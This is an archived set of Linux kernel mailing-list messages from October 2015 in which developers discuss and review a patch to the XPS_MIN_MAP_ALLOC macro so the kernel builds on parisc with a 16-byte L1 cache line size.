	Fri, 23 Oct 2015 17:38:40 -0400
Original-Received: from mail-pa0-f46.google.com ([209.85.220.46]:33877 "EHLO
	mail-pa0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752413AbbJWVij (ORCPT
	<rfc822;netdev@vger.kernel.org>); Fri, 23 Oct 2015 17:38:39 -0400
Original-Received: by padhk11 with SMTP id hk11so128432406pad.1;
        Fri, 23 Oct 2015 14:38:38 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=message-id:subject:from:to:cc:date:in-reply-to:references
         :content-type:mime-version:content-transfer-encoding;
        bh=zduDq75gxhOrL7MU6A6aRBNOlsh/IX/eJPIxRU8OYYA=;
        b=wiznBTbgBQa02sDFb08gLm8oTE4JKH833ipCzthWYEj04Jr9uEaMiVTi3cOs4bEEEP
         LUTUbqaHQilKED4EkRg6SChFyTjujaw8+BEC6sqrzqn/bYl0YJ/bCQxO5QjBZiCVHW8B
         IFDrXEkxEsTjjVWCEQkdHXCEpemHd4flwygIbJs5ZCtlE7UnGguXZ29YwSGgbb0pFRr+
         CP9uquiePseFontLeyY1YfR4afVeU9dPI5GoA3uOjoigIresii+/gKjlNQU7G1z5xBtI
         KREhA2TvnXPuKncbqaUEB9VFCuzDWAx7EBdPKLYqUastdokG80NZBt1Z6qNzWneZqpeM
         I44A==
X-Received: by 10.66.186.141 with SMTP id fk13mr26354567pac.7.1445636318567;
        Fri, 23 Oct 2015 14:38:38 -0700 (PDT)
Original-Received: from ?IPv6:2620:0:1000:3e02:58fe:54d3:a26b:4f7c? ([2620:0:1000:3e02:58fe:54d3:a26b:4f7c])
        by smtp.gmail.com with ESMTPSA id pn8sm20672947pbb.16.2015.10.23.14.38.37
        (version=TLSv1.2 cipher=AES128-GCM-SHA256 bits=128/128);
        Fri, 23 Oct 2015 14:38:37 -0700 (PDT)
In-Reply-To: <20151023210810.GA1969@ls3530.box>
X-Mailer: Evolution 3.10.4-0ubuntu2 
Original-Sender: netdev-owner@vger.kernel.org
Precedence: bulk
List-ID: <netdev.vger.kernel.org>
X-Mailing-List: netdev@vger.kernel.org
Xref: news.gmane.org gmane.linux.network:384425 gmane.linux.ports.parisc:26094
Archived-At: <http://permalink.gmane.org/gmane.linux.network/384425>

On Fri, 2015-10-23 at 23:08 +0200, Helge Deller wrote:

> Can you then maybe give me an Acked-by or signed-off for the patch below?
> It further adds a compile-time check to avoid that XPS_MIN_MAP_ALLOC
> gets calculated to zero on any architecture - otherwise no queues would
> be allocated. 
> 
> In addition I would like to push it for v4.3 then through my parisc-tree
> (after keeping it in for-next for 1-2 days), together with the patch
> which reduces L1_CACHE_BYTES to 16 on parisc.
> Would that be OK too? 

Sure !

Acked-by: Eric Dumazet <edumazet@google.com>



From - Thu Nov 08 21:37:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Duyck <alexander.duyck@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: CONFIG_XPS depends on L1_CACHE_BYTES being greater than
 sizeof(struct xps_map)
Date: Fri, 23 Oct 2015 15:00:37 -0700
Lines: 82
Approved: news@gmane.org
Message-ID: <562AAE05.5020300@gmail.com>
References: <32A3BF6F-B243-4AD4-9AE9-A5F9DAE0270A@bell.net>
 <B8E85737-5ECD-4CBE-8730-886B098C5FA4@bell.net>
 <trinity-eda7d55d-7234-4b29-a15c-955f8ba0c95e-1445513884942@3capp-gmx-bs32>
 <trinity-8980ad10-b889-45cf-8f37-a33ba9cf99ef-1445514797080@3capp-gmx-bs32>
 <1445524549.2207.1.camel@HansenPartnership.com> <5628F868.3040105@bell.net>
 <5629404B.8090805@gmx.de>
 <1445550615.22974.128.camel@edumazet-glaptop2.roam.corp.google.com>
 <562A8990.9000808@gmx.de>
 <1445630588.22974.187.camel@edumazet-glaptop2.roam.corp.google.com>
 <20151023210810.GA1969@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1445637658 25888 80.91.229.3 (23 Oct 2015 22:00:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 23 Oct 2015 22:00:58 +0000 (UTC)
Cc: Tom Herbert <therbert@google.com>,
	"David S. Miller" <davem@davemloft.net>, netdev@vger.kernel.org
To: Helge Deller <deller@gmx.de>,
	Eric Dumazet <eric.dumazet@gmail.com>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 24 00:00:49 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZpkO9-0005kV-49
	for glpp-linux-parisc@plane.gmane.org; Sat, 24 Oct 2015 00:00:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751212AbbJWWAk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 23 Oct 2015 18:00:40 -0400
Original-Received: from mail-pa0-f42.google.com ([209.85.220.42]:35581 "EHLO
	mail-pa0-f42.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750714AbbJWWAj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 23 Oct 2015 18:00:39 -0400
Original-Received: by pasz6 with SMTP id z6so128581128pas.2;
        Fri, 23 Oct 2015 15:00:39 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=subject:to:references:cc:from:message-id:date:user-agent
         :mime-version:in-reply-to:content-type:content-transfer-encoding;
        bh=0LlzlUpeifPi3zNIzv5nH/h46tl5zQJQgYgmyzyUVl4=;
        b=jmVIDLHkmiBMLOV62JLng2XuecKjU6GxsrShBR7uWxa6WrgSR7K68EigKTxXgCRrrF
         57v/zJq8PQoHY6sPBSnuYjfIosCIBKSxBEDWPE4is1ZWeRmzn8lxPrt1dPdCT/nxy7VB
         ByZgTM9tXXHG72xMUDAByrhpzZvfB9j7Q2ArTbvXdNi/p08HkxmXpZXAe5BtJ29GgLGb
         bKhK/UQTDT6kAKLFKdIgWojtlzxr0IPPEycKLPkV1qKPK8ni+j7XIys4vdJALzVPshvr
         lcXRDmy2m2FelrCQkXXcFuXjr+Z6jYN06jWdhKCqpo02f8eTHAdOKlQKUOYZcEk6nMJ9
         iFcg==
X-Received: by 10.66.131.81 with SMTP id ok17mr25912674pab.150.1445637638947;
        Fri, 23 Oct 2015 15:00:38 -0700 (PDT)
Original-Received: from [192.168.1.188] (static-50-53-21-5.bvtn.or.frontiernet.net. [50.53.21.5])
        by smtp.googlemail.com with ESMTPSA id qd2sm20683460pbb.68.2015.10.23.15.00.38
        (version=TLSv1/SSLv3 cipher=OTHER);
        Fri, 23 Oct 2015 15:00:38 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <20151023210810.GA1969@ls3530.box>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26095 gmane.linux.network:384432
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26095>

On 10/23/2015 02:08 PM, Helge Deller wrote:
> * Eric Dumazet <eric.dumazet@gmail.com>:
>> On Fri, 2015-10-23 at 21:25 +0200, Helge Deller wrote:
>>
>>> Then, how about simply changing it to twice of L1_CACHE_BYTES ?
>>>
>>> #define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES * 2 - sizeof(struct xps_map)) / sizeof(u16))
>>
>>
>> Seems good to me.
>
> Great!
>
> Can you then maybe give me an Acked-by or signed-off for the patch below?
> It further adds a compile-time check to avoid that XPS_MIN_MAP_ALLOC
> gets calculated to zero on any architecture - otherwise no queues would
> be allocated.
>
> In addition I would like to push it for v4.3 then through my parisc-tree
> (after keeping it in for-next for 1-2 days), together with the patch
> which reduces L1_CACHE_BYTES to 16 on parisc.
> Would that be OK too?
>
> Thanks!
> Helge
>
>
> [PATCH] net/xps: Increase initial number of xps queues
>
> Increase the number of initial allocated xps queues, so that the initial record
> allocates twice the size of L1_CACHE_BYTES bytes.
>
> This change is needed to copy with architectures where L1_CACHE_BYTES is
> defined to equal or less than 16 bytes.
>
> Signed-off-by: Helge Deller <deller@gmx.de>
>
> diff --git a/include/linux/netdevice.h b/include/linux/netdevice.h
> index 2d15e38..d152788 100644
> --- a/include/linux/netdevice.h
> +++ b/include/linux/netdevice.h
> @@ -718,7 +718,7 @@ struct xps_map {
>   	u16 queues[0];
>   };
>   #define XPS_MAP_SIZE(_num) (sizeof(struct xps_map) + ((_num) * sizeof(u16)))
> -#define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES - sizeof(struct xps_map))	\
> +#define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES * 2 - sizeof(struct xps_map)) \
>       / sizeof(u16))
>
>   /*
> diff --git a/net/core/dev.c b/net/core/dev.c
> index 6bb6470..f6d6dd1 100644
> --- a/net/core/dev.c
> +++ b/net/core/dev.c
> @@ -1972,6 +1972,8 @@ static struct xps_map *expand_xps_map(struct xps_map *map,
>   	int alloc_len = XPS_MIN_MAP_ALLOC;
>   	int i, pos;
>
> +	BUILD_BUG_ON(XPS_MIN_MAP_ALLOC == 0);
> +
>   	for (pos = 0; map && pos < map->len; pos++) {
>   		if (map->queues[pos] != index)
>   			continue;
>
>

Rather then leaving a potential bug you could probably rewrite the macro 
so that it will give you at least 1.

All you need to do is something like the following
#define XPS_MIN_MAP_ALLOC \
	((L1_CACHE_ALIGN(offsetof(struct xps_map, queue[1])) - \
	  sizeof(struct xps_map)) / sizeof(u16))

That should give you at least an XPS_MIN_MAP_ALLOC of 1.

- Alex
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom Herbert <tom@herbertland.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: CONFIG_XPS depends on L1_CACHE_BYTES being greater than
 sizeof(struct xps_map)
Date: Fri, 23 Oct 2015 15:16:17 -0700
Lines: 53
Approved: news@gmane.org
Message-ID: <CALx6S35H_o67LM8zuuNfxd5P=GtXH-b17dyCRO8Z-F7CEx097Q@mail.gmail.com>
References: <42430464-867C-4E0B-8E95-C6CDB6D8A0B2@bell.net>
	<32A3BF6F-B243-4AD4-9AE9-A5F9DAE0270A@bell.net>
	<B8E85737-5ECD-4CBE-8730-886B098C5FA4@bell.net>
	<trinity-eda7d55d-7234-4b29-a15c-955f8ba0c95e-1445513884942@3capp-gmx-bs32>
	<trinity-8980ad10-b889-45cf-8f37-a33ba9cf99ef-1445514797080@3capp-gmx-bs32>
	<1445524549.2207.1.camel@HansenPartnership.com>
	<5628F868.3040105@bell.net>
	<5629404B.8090805@gmx.de>
	<CALx6S351U9L43Qh88DkJSM4tmhR-7SDoC6bCEhNqxnuu8LqTNA@mail.gmail.com>
	<562A88D0.1010807@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1445638598 6887 80.91.229.3 (23 Oct 2015 22:16:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 23 Oct 2015 22:16:38 +0000 (UTC)
Cc: Tom Herbert <therbert@google.com>,
	"David S. Miller" <davem@davemloft.net>,
	Linux Kernel Network Developers <netdev@vger.kernel.org>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 24 00:16:33 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZpkdL-00073w-4F
	for glpp-linux-parisc@plane.gmane.org; Sat, 24 Oct 2015 00:16:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752848AbbJWWQU convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 23 Oct 2015 18:16:20 -0400
Original-Received: from mail-io0-f169.google.com ([209.85.223.169]:34544 "EHLO
	mail-io0-f169.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751324AbbJWWQS convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 23 Oct 2015 18:16:18 -0400
Original-Received: by iow1 with SMTP id 1so137936927iow.1
        for <linux-parisc@vger.kernel.org>; Fri, 23 Oct 2015 15:16:18 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=QR83opCYNGX+Zn/EoENeZHiK4guazM2Y00B6QVCMbn0=;
        b=V85K5Nc4jmdLDCQPeVs7WMLAHemQku7TWRjzJPNG0GhaAv52hl57xjSu0F5qy5Tb7/
         s98GO+LcBXQYGuoE/QE4p+GPLfzY6xtlxWKdXrj/k1m8OhEUHM2o0KbiSNNgswMpMJbI
         ryUU6htpKtNCZcbRXk6b+SqhIGrxm1nSDDc+ZAgnQ9rgUV7UUNx034i5zua5hcg8qjy7
         ltufBMYiIuoLfOL4oRTeTTVUlnW6FnqTR0ITksyiYudCpSnh6j5j4+4fCYP+fRG5asAJ
         KO0EMF8z/4FHuPeVbmEdl50jwN1X/Lxj3XZxGO6Lh17W0gb7mSEExqhz3j7iTJvZXI+W
         RhWA==
X-Gm-Message-State: ALoCoQl/CPwXsE3dWVTkEtCdDa2on8kC5GInHcSzxAvZ3oAYrVR2kc3+KiGRkVwWeG53if0yK8iw
X-Received: by 10.107.16.219 with SMTP id 88mr7126425ioq.50.1445638577886;
 Fri, 23 Oct 2015 15:16:17 -0700 (PDT)
Original-Received: by 10.107.41.83 with HTTP; Fri, 23 Oct 2015 15:16:17 -0700 (PDT)
In-Reply-To: <562A88D0.1010807@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26096 gmane.linux.network:384433
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26096>

On Fri, Oct 23, 2015 at 12:21 PM, Helge Deller <deller@gmx.de> wrote:
> On 22.10.2015 23:37, Tom Herbert wrote:
>> On Thu, Oct 22, 2015 at 1:00 PM, Helge Deller <deller@gmx.de> wrote:
>>> Hi Tom & David,
>>>
>>> I've queued-up a patch for the parisc architecture which reduces L1=
_CACHE_BYTES from 32 to 16:
>>>   https://patchwork.kernel.org/patch/7399291/
>>>
>>> But this change will break the kernel build like this:
>>>
>>> In file included from net/core/dev.c:92:0:
>>> net/core/dev.c: In function =E2=80=98expand_xps_map=E2=80=99:
>>> include/linux/netdevice.h:721:27: warning: overflow in implicit con=
stant conversion [-Woverflow]
>>>    #define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES - sizeof(struct xps_m=
ap)) \
>>> net/core/dev.c:1972:18: note: in expansion of macro =E2=80=98XPS_MI=
N_MAP_ALLOC=E2=80=99
>>>    int alloc_len =3D XPS_MIN_MAP_ALLOC;
>>>
>>> Do you see an easy way to fix this ?
>>>
>> How about
>>
>>  #define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES - ((sizeof(struct xps_ma=
p)
>> % L1_CACHE_BYTES)) \
>
> The full line would then be:
> #define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES - (sizeof(struct xps_map) =
% L1_CACHE_BYTES)) / sizeof(u16))
>
> The only problem I see with this is, that XPS_MIN_MAP_ALLOC might bec=
ome zero.
> In that case the call to kzalloc_node() in expand_xps_map() doesn't a=
llocate any memory for the queues.
>
I believe this wouldn't ever be zero (add 1 in to avoid result is 1 /
2 possibility):

#define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES + 1 - (sizeof(struct
xps_map) % L1_CACHE_BYTES)) / sizeof(u16))

Tom

> Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: CONFIG_XPS depends on L1_CACHE_BYTES being greater than
 sizeof(struct xps_map)
Date: Sat, 24 Oct 2015 00:17:36 +0200
Lines: 89
Approved: news@gmane.org
Message-ID: <562AB200.8030209@gmx.de>
References: <32A3BF6F-B243-4AD4-9AE9-A5F9DAE0270A@bell.net>
 <B8E85737-5ECD-4CBE-8730-886B098C5FA4@bell.net>
 <trinity-eda7d55d-7234-4b29-a15c-955f8ba0c95e-1445513884942@3capp-gmx-bs32>
 <trinity-8980ad10-b889-45cf-8f37-a33ba9cf99ef-1445514797080@3capp-gmx-bs32>
 <1445524549.2207.1.camel@HansenPartnership.com> <5628F868.3040105@bell.net>
 <5629404B.8090805@gmx.de>
 <1445550615.22974.128.camel@edumazet-glaptop2.roam.corp.google.com>
 <562A8990.9000808@gmx.de>
 <1445630588.22974.187.camel@edumazet-glaptop2.roam.corp.google.com>
 <20151023210810.GA1969@ls3530.box> <562AAE05.5020300@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1445638676 8078 80.91.229.3 (23 Oct 2015 22:17:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 23 Oct 2015 22:17:56 +0000 (UTC)
Cc: Tom Herbert <therbert@google.com>,
	"David S. Miller" <davem@davemloft.net>, netdev@vger.kernel.org
To: Alexander Duyck <alexander.duyck@gmail.com>,
	Eric Dumazet <eric.dumazet@gmail.com>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 24 00:17:49 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Zpkei-0007UI-O0
	for glpp-linux-parisc@plane.gmane.org; Sat, 24 Oct 2015 00:17:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751739AbbJWWRs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 23 Oct 2015 18:17:48 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:56536 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750869AbbJWWRr (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 23 Oct 2015 18:17:47 -0400
Original-Received: from [192.168.20.60] ([92.203.46.30]) by mail.gmx.com (mrgmx102)
 with ESMTPSA (Nemesis) id 0MgYGJ-1aCd870Djz-00O1AK; Sat, 24 Oct 2015 00:17:40
 +0200
X-Enigmail-Draft-Status: N1110
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <562AAE05.5020300@gmail.com>
X-Provags-ID: V03:K0:2U/ufsTYTFAu2bK3AVlRsHOUG4AAuB5dvwvWTs6imfWGhNC4w8J
 7SpSEwC4lh/3CZMVQd9XRiVFj3BA+28PssC7Um13RprcBLgRV4yutmgen4Yk7+zX/2pOnpi
 OogBD81bYGEUT3Ue6J20Jsl/YOIzZH/R9bEkzUTHFOGLk3avhQhQZKOq/jOrmjCAQraAZqy
 1F2VyjB7N4ExQXNrl7Iww==
X-UI-Out-Filterresults: notjunk:1;V01:K0:QVeFrnDQ1Ig=:+vH6bWvHECNWHD7DoCvWL2
 e4D1Al/LdfnbdZ7GuEjkKedFloADdAARzUPfpgyAnacaDkPPBXW88Uewplis66i9brgbqkQ6Y
 2hOBBgH1LMc+CHqmoFWFfQxFE0cbmyljSlun2i5eIbcGovnZxVj82rQG1XYQTOQreL1jkXjpv
 rPm5uhzemGnHRbKvMWLuORlWEJWHWnKa+D7Qplkl9iaamUNN8XSZdArmXO7eCldqIhX0fEffm
 HjO7jVvXJtWmvsyakstxd01joR/RBfcqQvaXhWfFYqv5a+cAJ9LJRnBhBP5QPB3+KwvOJ+hVc
 tJfnDPWR0pkEZSNjG+EFczVWlOQ0UsYpeTQAPXxSLR2h1oy9Qt7pe7Lt6dyMUk7H455PB1E+N
 TTVhErLe75/FmRiKA1zxsH6qnQ7EFDkoriM2OJ4CluJc+5C4t/r2MXTZaUVxhi9GJHxEuFlYe
 2pmJf7NL+hgk92EzxfuJiLiAeeJ2avi3XlqzrX8qGe+AWdilVdik2pSrJJwj9TvbWgdgdvgga
 DRElj18guUUXV22ntl5ZBfN4byRime1ACkvZGyuVD904Fxnng0h+/GJKi1L8ULopzjx4pkb8H
 SWR6j2kVYKzeL4WJn7jZk84mFGf0HQyCi8bYOeS8EVM80vbQ+KgnYltPH3GQaYJa4MFF4viJu
 yILhD75Eo7Xw9xGtRtl2ESM0DUq+N0Hqa9UnFCkptlkmYH+uG7KhaTVOPhb4ly3AK/lOyC0Un
 dAoFE4QPkb1ChHUhWE6RvVqsuEl1b7apyU7NbENhMPLenX+reHqllNM3oGNpmxTgj43Bakmp 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26097 gmane.linux.network:384434
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26097>

On 24.10.2015 00:00, Alexander Duyck wrote:
> On 10/23/2015 02:08 PM, Helge Deller wrote:
>> * Eric Dumazet <eric.dumazet@gmail.com>:
>>> On Fri, 2015-10-23 at 21:25 +0200, Helge Deller wrote:
>>>
>>>> Then, how about simply changing it to twice of L1_CACHE_BYTES ?
>>>>
>>>> #define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES * 2 - sizeof(struct xps_map)) / sizeof(u16))
>>>
>>>
>>> Seems good to me.
>>
>> Great!
>>
>> Can you then maybe give me an Acked-by or signed-off for the patch below?
>> It further adds a compile-time check to avoid that XPS_MIN_MAP_ALLOC
>> gets calculated to zero on any architecture - otherwise no queues would
>> be allocated.
>>
>> In addition I would like to push it for v4.3 then through my parisc-tree
>> (after keeping it in for-next for 1-2 days), together with the patch
>> which reduces L1_CACHE_BYTES to 16 on parisc.
>> Would that be OK too?
>>
>> Thanks!
>> Helge
>>
>>
>> [PATCH] net/xps: Increase initial number of xps queues
>>
>> Increase the number of initial allocated xps queues, so that the initial record
>> allocates twice the size of L1_CACHE_BYTES bytes.
>>
>> This change is needed to copy with architectures where L1_CACHE_BYTES is
>> defined to equal or less than 16 bytes.
>>
>> Signed-off-by: Helge Deller <deller@gmx.de>
>>
>> diff --git a/include/linux/netdevice.h b/include/linux/netdevice.h
>> index 2d15e38..d152788 100644
>> --- a/include/linux/netdevice.h
>> +++ b/include/linux/netdevice.h
>> @@ -718,7 +718,7 @@ struct xps_map {
>>       u16 queues[0];
>>   };
>>   #define XPS_MAP_SIZE(_num) (sizeof(struct xps_map) + ((_num) * sizeof(u16)))
>> -#define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES - sizeof(struct xps_map))    \
>> +#define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES * 2 - sizeof(struct xps_map)) \
>>       / sizeof(u16))
>>
>>   /*
>> diff --git a/net/core/dev.c b/net/core/dev.c
>> index 6bb6470..f6d6dd1 100644
>> --- a/net/core/dev.c
>> +++ b/net/core/dev.c
>> @@ -1972,6 +1972,8 @@ static struct xps_map *expand_xps_map(struct xps_map *map,
>>       int alloc_len = XPS_MIN_MAP_ALLOC;
>>       int i, pos;
>>
>> +    BUILD_BUG_ON(XPS_MIN_MAP_ALLOC == 0);
>> +
>>       for (pos = 0; map && pos < map->len; pos++) {
>>           if (map->queues[pos] != index)
>>               continue;
>>
>>
> 
> Rather then leaving a potential bug you could probably rewrite the macro so that it will give you at least 1.
> 
> All you need to do is something like the following
> #define XPS_MIN_MAP_ALLOC \
>     ((L1_CACHE_ALIGN(offsetof(struct xps_map, queue[1])) - \
>       sizeof(struct xps_map)) / sizeof(u16))
> 
> That should give you at least an XPS_MIN_MAP_ALLOC of 1.

Yes, good idea!
What makes me wonder though (because I have no idea about the XPS code/layer):
How likely is it, that more than 1 (e.g. minimum "X") queues are needed? 
E.g. if a typical system needs at least 3 queues, then doesn't it make sense to allocate
at least 3 initially by using queue[3] in your proposed patch above ?
What would "X" be then?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Duyck <alexander.duyck@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: CONFIG_XPS depends on L1_CACHE_BYTES being greater than
 sizeof(struct xps_map)
Date: Fri, 23 Oct 2015 15:40:58 -0700
Lines: 102
Approved: news@gmane.org
Message-ID: <562AB77A.6080109@gmail.com>
References: <32A3BF6F-B243-4AD4-9AE9-A5F9DAE0270A@bell.net>
 <B8E85737-5ECD-4CBE-8730-886B098C5FA4@bell.net>
 <trinity-eda7d55d-7234-4b29-a15c-955f8ba0c95e-1445513884942@3capp-gmx-bs32>
 <trinity-8980ad10-b889-45cf-8f37-a33ba9cf99ef-1445514797080@3capp-gmx-bs32>
 <1445524549.2207.1.camel@HansenPartnership.com> <5628F868.3040105@bell.net>
 <5629404B.8090805@gmx.de>
 <1445550615.22974.128.camel@edumazet-glaptop2.roam.corp.google.com>
 <562A8990.9000808@gmx.de>
 <1445630588.22974.187.camel@edumazet-glaptop2.roam.corp.google.com>
 <20151023210810.GA1969@ls3530.box> <562AAE05.5020300@gmail.com>
 <562AB200.8030209@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1445640078 28477 80.91.229.3 (23 Oct 2015 22:41:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 23 Oct 2015 22:41:18 +0000 (UTC)
Cc: Tom Herbert <therbert@google.com>,
	"David S. Miller" <davem@davemloft.net>, netdev@vger.kernel.org
To: Helge Deller <deller@gmx.de>,
	Eric Dumazet <eric.dumazet@gmail.com>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 24 00:41:09 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Zpl1B-00017a-MI
	for glpp-linux-parisc@plane.gmane.org; Sat, 24 Oct 2015 00:41:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752538AbbJWWlB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 23 Oct 2015 18:41:01 -0400
Original-Received: from mail-pa0-f44.google.com ([209.85.220.44]:34365 "EHLO
	mail-pa0-f44.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752077AbbJWWlA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 23 Oct 2015 18:41:00 -0400
Original-Received: by padhk11 with SMTP id hk11so129528722pad.1;
        Fri, 23 Oct 2015 15:40:59 -0700 (PDT)
